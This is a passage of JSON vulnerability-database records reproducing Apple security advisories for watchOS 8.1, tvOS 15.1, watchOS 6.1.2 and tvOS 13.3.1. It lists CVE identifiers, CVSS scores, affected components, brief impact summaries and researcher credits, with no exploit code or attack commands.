"2021-10-25T00:00:00", "type": "apple", "title": "About the security content of watchOS 8.1", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30881", "CVE-2021-30883", "CVE-2021-30886", "CVE-2021-30887", "CVE-2021-30888", "CVE-2021-30889", "CVE-2021-30890", "CVE-2021-30895", "CVE-2021-30896", "CVE-2021-30903", "CVE-2021-30905", "CVE-2021-30906", "CVE-2021-30907", "CVE-2021-30909", "CVE-2021-30915", "CVE-2021-30917", "CVE-2021-30919", "CVE-2021-30924", "CVE-2021-31007", "CVE-2021-31008"], "modified": "2021-10-25T00:00:00", "id": "APPLE:641BF7B19AB3F0B1399AF172B576602D", "href": "https://support.apple.com/kb/HT212874", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-27T22:02:26", "description": "# About the security content of tvOS 15.1\n\nThis document describes the security content of tvOS 15.1.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## tvOS 15.1\n\nReleased October 25, 2021\n\n**Audio**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: An integer overflow was addressed through improved input validation.\n\nCVE-2021-30907: Zweig of Kunlun Lab\n\n**ColorSync**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: A memory corruption issue existed in the processing of ICC profiles. This issue was addressed with improved input validation.\n\nCVE-2021-30917: Alexandru-Vlad Niculae and Mateusz Jurczyk of Google Project Zero\n\n**Continuity Camera**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A local attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: An uncontrolled format string issue was addressed with improved input validation.\n\nCVE-2021-30903: Gongyu Ma of Hangzhou Dianzi University\n\nEntry added May 25, 2022\n\n**CoreAudio**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted file may disclose user information\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-30905: Mickey Jin (@patch1t) of Trend Micro\n\n**CoreGraphics**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted PDF may lead to arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-30919\n\n**FileProvider**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to bypass Privacy preferences\n\nDescription: A permissions issue was addressed with improved validation.\n\nCVE-2021-31007: Csaba Fitzl (@theevilbit) of Offensive Security\n\nEntry added March 31, 2022, updated May 25, 2022 \n\n**FileProvider**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Unpacking a maliciously crafted archive may lead to arbitrary code execution\n\nDescription: An input validation issue was addressed with improved memory handling.\n\nCVE-2021-30881: Simon Huang (@HuangShaomang) and pjf of IceSword Lab of Qihoo 360\n\n**Game Center**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to access information about a user's contacts\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-30895: Denis Tokarev (@illusionofcha0s)\n\nEntry updated May 25, 2022\n\n**Game Center**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to read user's gameplay data\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-30896: Denis Tokarev (@illusionofcha0s)\n\nEntry updated May 25, 2022\n\n**iCloud**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30906: Cees Elzinga\n\n**Image Processing**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2021-30894: Pan ZhenPeng (@Peterpan0927) of Alibaba Security Pandora Lab\n\n**IOMobileFrameBuffer**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2021-30883: an anonymous researcher\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker can cause a device to unexpectedly restart\n\nDescription: A denial of service issue was addressed with improved state handling.\n\nCVE-2021-30924: Elaman Iskakov (@darling_x0r) of Effective and Alexey Katkov (@watman27)\n\nEntry added January 19, 2022\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-30886: @0xalsr\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2021-30909: Zweig of Kunlun Lab\n\n**Model I/O**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted file may disclose user information\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-30910: Mickey Jin (@patch1t) of Trend Micro\n\n**UIKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A person with physical access to a device may be able to determine characteristics of a user's password in a secure text entry field\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30915: Kostas Angelopoulos\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to code execution\n\nDescription: A type confusion issue was addressed with improved memory handling.\n\nCVE-2021-31008\n\nEntry added March 31, 2022\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to unexpectedly unenforced Content Security Policy\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-30887: Narendra Bhati (@imnarendrabhati) of Suma Soft Pvt. Ltd.\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious website using Content Security Policy reports may be able to leak information via redirect behavior \n\nDescription: An information leakage issue was addressed.\n\nCVE-2021-30888: Prakash (@1lastBr3ath)\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A buffer overflow issue was addressed with improved memory handling.\n\nCVE-2021-30889: Chijin Zhou of ShuiMuYuLin Ltd and Tsinghua wingtecher lab\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30890: an anonymous researcher\n\n\n\n## Additional recognition\n\n**iCloud**\n\nWe would like to acknowledge Ryan Pickren (ryanpickren.com) for their assistance.\n\n**Mail**\n\nWe would like to acknowledge Fabian Ising and Damian Poddebniak of M\u00fcnster University of Applied Sciences for their assistance.\n\n**WebKit**\n\nWe would like to acknowledge Ivan Fratric of Google Project Zero, Pavel Gromadchuk, an anonymous researcher for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: May 25, 2022\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-25T00:00:00", "type": "apple", "title": "About the security content of tvOS 15.1", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30881", "CVE-2021-30883", "CVE-2021-30886", "CVE-2021-30887", "CVE-2021-30888", "CVE-2021-30889", "CVE-2021-30890", "CVE-2021-30894", "CVE-2021-30895", "CVE-2021-30896", "CVE-2021-30903", "CVE-2021-30905", "CVE-2021-30906", "CVE-2021-30907", "CVE-2021-30909", "CVE-2021-30910", "CVE-2021-30915", "CVE-2021-30917", "CVE-2021-30919", "CVE-2021-30924", "CVE-2021-31007", "CVE-2021-31008"], "modified": "2021-10-25T00:00:00", "id": "APPLE:7F9AB5C55AFC9F26426EAC423ABBC6C9", "href": "https://support.apple.com/kb/HT212876", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:44:47", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## watchOS 6.1.2\n\nReleased January 28, 2020\n\n**AnnotationKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2020-3877: an anonymous researcher working with Trend Micro's Zero Day Initiative\n\n**Audio**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2020-3857: Zhuo Liang of Qihoo 360 Vulcan Team\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2020-3826: Samuel Gro\u00df of Google Project Zero\n\nCVE-2020-3870\n\nCVE-2020-3878: Samuel Gro\u00df of Google Project Zero\n\nCVE-2020-3880: Samuel Gro\u00df of Google Project Zero\n\nEntry updated April 4, 2020\n\n**IOAcceleratorFamily**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2020-3837: Brandon Azad of Google Project Zero\n\n**IOUSBDeviceFamily**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8836: Xiaolong Bai and Min (Spark) Zheng of Alibaba Inc. and Luyi Xing of Indiana University Bloomington\n\nEntry added June 22, 2020\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2020-3875: Brandon Azad of Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to determine kernel memory layout\n\nDescription: An access issue was addressed with improved memory management.\n\nCVE-2020-3836: Brandon Azad of Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to read restricted memory\n\nDescription: A memory initialization issue was addressed with improved memory handling.\n\nCVE-2020-3872: Haakon Garseg M\u00f8rk of Cognite and Cim Stordal of Cognite\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2020-3842: Ned Williamson working with Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2020-3834: Xiaolong Bai and Min (Spark) Zheng of Alibaba Inc, Luyi Xing of Indiana University Bloomington\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2020-3860: Proteas of Qihoo 360 Nirvan Team\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A type confusion issue was addressed with improved memory handling.\n\nCVE-2020-3853: Brandon Azad of Google Project Zero\n\n**libxml2**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted XML may lead to an unexpected application termination or arbitrary code execution\n\nDescription: A buffer overflow was addressed with improved size validation.\n\nCVE-2020-3846: Ranier Vilela\n\nEntry added January 29, 2020\n\n**libxpc**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted string may lead to heap corruption\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2020-3856: Ian Beer of Google Project Zero\n\n**libxpc**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2020-3829: Ian Beer of Google Project Zero\n\n**wifivelocityd**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: The issue was addressed with improved permissions logic.\n\nCVE-2020-3838: Dayton Pidhirney (@_watbulb)\n\n\n\n## Additional recognition\n\n**IOSurface**\n\nWe would like to acknowledge Liang Chen (@chenliang0817) for their assistance.\n", "edition": 4, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-06-22T04:31:02", "title": "About the security content of watchOS 6.1.2 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8836", "CVE-2020-3829", "CVE-2020-3856", "CVE-2020-3877", "CVE-2020-3857", "CVE-2020-3878", "CVE-2020-3826", "CVE-2020-3837", "CVE-2020-3838", "CVE-2020-3853", "CVE-2020-3880", "CVE-2020-3860", "CVE-2020-3842", "CVE-2020-3872", "CVE-2020-3834", "CVE-2020-3875", "CVE-2020-3870", "CVE-2020-3836", "CVE-2020-3846"], "modified": "2020-06-22T04:31:02", "id": "APPLE:HT210921", "href": "https://support.apple.com/kb/HT210921", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-06T22:03:12", "description": "# About the security content of watchOS 6.1.2\n\nThis document describes the security content of watchOS 6.1.2.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## watchOS 6.1.2\n\nReleased January 28, 2020\n\n**AnnotationKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2020-3877: an anonymous researcher working with Trend Micro's Zero Day Initiative\n\n**Audio**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2020-3857: Zhuo Liang of Qihoo 360 Vulcan Team\n\n**files**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to overwrite arbitrary files\n\nDescription: An access issue was addressed with improved access restrictions.\n\nCVE-2020-3855: Csaba Fitzl (@theevilbit)\n\nEntry added January 19, 2022\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2020-3826: Samuel Gro\u00df of Google Project Zero\n\nCVE-2020-3870\n\nCVE-2020-3878: Samuel Gro\u00df of Google Project Zero\n\nCVE-2020-3880: Samuel Gro\u00df of Google Project Zero\n\nEntry updated April 4, 2020\n\n**IOAcceleratorFamily**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2020-3837: Brandon Azad of Google Project Zero\n\n**IOUSBDeviceFamily**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8836: Xiaolong Bai and Min (Spark) Zheng of Alibaba Inc. and Luyi Xing of Indiana University Bloomington\n\nEntry added June 22, 2020\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2020-3875: Brandon Azad of Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to determine kernel memory layout\n\nDescription: An access issue was addressed with improved memory management.\n\nCVE-2020-3836: Brandon Azad of Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to read restricted memory\n\nDescription: A memory initialization issue was addressed with improved memory handling.\n\nCVE-2020-3872: Haakon Garseg M\u00f8rk of Cognite and Cim Stordal of Cognite\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2020-3842: Ned Williamson working with Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2020-3834: Xiaolong Bai and Min (Spark) Zheng of Alibaba Inc, Luyi Xing of Indiana University Bloomington\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2020-3860: Proteas of Qihoo 360 Nirvan Team\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A type confusion issue was addressed with improved memory handling.\n\nCVE-2020-3853: Brandon Azad of Google Project Zero\n\n**libxml2**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted XML may lead to an unexpected application termination or arbitrary code execution\n\nDescription: A buffer overflow was addressed with improved size validation.\n\nCVE-2020-3846: Ranier Vilela\n\nEntry added January 29, 2020\n\n**libxpc**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted string may lead to heap corruption\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2020-3856: Ian Beer of Google Project Zero\n\n**libxpc**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2020-3829: Ian Beer of Google Project Zero\n\n**wifivelocityd**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: The issue was addressed with improved permissions logic.\n\nCVE-2020-3838: Dayton Pidhirney (@_watbulb)\n\n\n\n## Additional recognition\n\n**IOSurface**\n\nWe would like to acknowledge Liang Chen (@chenliang0817) for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: January 19, 2022\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-01-28T00:00:00", "type": "apple", "title": "About the security content of watchOS 6.1.2", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8836", "CVE-2020-3826", "CVE-2020-3829", "CVE-2020-3834", "CVE-2020-3836", "CVE-2020-3837", "CVE-2020-3838", "CVE-2020-3842", "CVE-2020-3846", "CVE-2020-3853", "CVE-2020-3855", "CVE-2020-3856", "CVE-2020-3857", "CVE-2020-3860", "CVE-2020-3870", "CVE-2020-3872", "CVE-2020-3875", "CVE-2020-3877", "CVE-2020-3878", "CVE-2020-3880"], "modified": "2020-01-28T00:00:00", "id": "APPLE:BC67DF8DBD817484CD025371218D2504", "href": "https://support.apple.com/kb/HT210921", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:44:03", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## tvOS 13.3.1\n\nReleased January 28, 2020\n\n**Audio**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2020-3857: Zhuo Liang of Qihoo 360 Vulcan Team\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2020-3826: Samuel Gro\u00df of Google Project Zero\n\nCVE-2020-3870\n\nCVE-2020-3878: Samuel Gro\u00df of Google Project Zero\n\nCVE-2020-3880: Samuel Gro\u00df of Google Project Zero\n\nEntry updated April 4, 2020\n\n**IOAcceleratorFamily**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2020-3837: Brandon Azad of Google Project Zero\n\n**IOUSBDeviceFamily**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8836: Xiaolong Bai and Min (Spark) Zheng of Alibaba Inc. and Luyi Xing of Indiana University Bloomington\n\nEntry added June 22, 2020\n\n**IPSec**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Loading a maliciously crafted racoon configuration file may lead to arbitrary code execution\n\nDescription: An off by one issue existed in the handling of racoon configuration files. This issue was addressed through improved bounds checking.\n\nCVE-2020-3840: @littlelailo\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2020-3875: Brandon Azad of Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to read restricted memory\n\nDescription: A memory initialization issue was addressed with improved memory handling.\n\nCVE-2020-3872: Haakon Garseg M\u00f8rk of Cognite and Cim Stordal of Cognite\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to determine kernel memory layout\n\nDescription: An access issue was addressed with improved memory management.\n\nCVE-2020-3836: Brandon Azad of Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2020-3842: Ned Williamson working with Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A type confusion issue was addressed with improved memory handling.\n\nCVE-2020-3853: Brandon Azad of Google Project Zero\n\n**libxml2**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted XML may lead to an unexpected application termination or arbitrary code execution\n\nDescription: A buffer overflow was addressed with improved size validation.\n\nCVE-2020-3846: Ranier Vilela\n\nEntry added January 29, 2020\n\n**libxpc**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted string may lead to heap corruption\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2020-3856: Ian Beer of Google Project Zero\n\n**libxpc**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2020-3829: Ian Beer of Google Project Zero\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD